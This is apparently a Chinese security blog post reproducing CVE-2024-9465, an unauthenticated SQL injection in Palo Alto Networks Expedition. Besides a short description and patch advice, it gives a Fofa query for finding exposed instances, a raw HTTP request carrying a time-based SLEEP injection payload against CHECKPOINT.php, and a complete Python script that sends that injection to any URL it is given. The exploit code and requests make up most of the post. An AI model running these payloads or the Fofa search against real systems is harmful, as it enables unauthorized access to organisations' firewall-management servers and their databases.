Palo Alto Networks Expedition 未授权SQL注入漏洞复现(CVE-2024-9465)

0x01 产品介绍:

Palo Alto Networks Expedition 是一款强大的工具,帮助用户有效地迁移和优化网络安全策略,提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。

0x02 漏洞描述:

该漏洞由于CHECKPOINT.php文件存在未授权访问。在sql校验逻辑中存在action=import当解析控制参数时会创建变量routename和id并且以字符串格式构造查询。导致了漏洞的产生

0x03 影响版本:

Palo Alto Networks Expedition < 1.2.96

0x04 搜索语句:

Fofa:title="Expedition Project"

0x05 漏洞复现:

poc

复制代码
POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

action=import&type=test&project=pandbRBAC&signatureid=1%20AND%20(SELECT%201234%20FROM%20(SELECT(SLEEP(5)))test)

检测脚本:

脚本作者:https://github.com/horizon3ai/CVE-2024-9465

复制代码
#!/usr/bin/python3
import argparse
import requests
import urllib3
import sys
import time
urllib3.disable_warnings()


def create_checkpoint_table(url: str):
    print(f'[*] Creating Checkpoint database table...')
    data = {'action': 'get',
            'type': 'existing_ruleBases',
            'project': 'pandbRBAC',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    if r.status_code == 200 and 'ruleBasesNames' in r.text:
        print(f'[*] Successfully created the database table')
        return

    print(f'[-] Unexpected response creating table: {r.status_code}:{r.text}')
    sys.exit(1)


def inject_checkpoint_query(url: str):
    start_time = time.time()
    print(f'[*] Injecting 10 second sleep payload into database query...')
    data = {'action': 'import',
            'type': 'test',
            'project': 'pandbRBAC',
            'signatureid': '1 AND (SELECT 1234 FROM (SELECT(SLEEP(10)))horizon3)',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    execution_time = time.time() - start_time
    if r.status_code == 200 and execution_time > 9 and execution_time < 15:
        print(f'[*] Successfully sent injection payload!')
        print(f'[+] Target is vulnerable, request took {execution_time} seconds')
        return

    print(f'[-] Unexpected response sending injection payload: {r.status_code}:{r.text}')
    sys.exit(1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The URL of the target', type=str, required=True)
    args = parser.parse_args()

    create_checkpoint_table(args.url)
    inject_checkpoint_query(args.url)

0x06 修复建议:

厂商已发布补丁 请即时升级

Expedition | Palo Alto Networks

相关推荐
毕设源码-赖学姐5 小时前
【开题答辩全过程】以 高校学科竞赛管理系统安全开发为例,包含答辩的问题和答案
安全
麦聪聊数据5 小时前
智慧医疗数据互联互通:使用 QuickAPI 构建实时诊疗数据交换层
数据库·sql·安全
啥都想学点9 小时前
kali基础介绍(Reconnaissance侦察)
安全
枫眠QAQ10 小时前
hackthebox Cicada靶机
安全·web安全·网络安全
学习中的DGR10 小时前
[极客大挑战 2019]Http 1 新手解题过程
网络·python·网络协议·安全·http
啥都想学点11 小时前
kali 基础介绍(CredentialAccess——凭证访问)
安全·网络安全
潆润千川科技12 小时前
适老社交应用后端架构思考:在安全、性能与简单之间的平衡艺术
安全·架构
若风的雨12 小时前
安全与验证模块设计方案
linux·安全
上海云盾安全满满15 小时前
移动应用安全防调试功能阻止恶意分析
网络·安全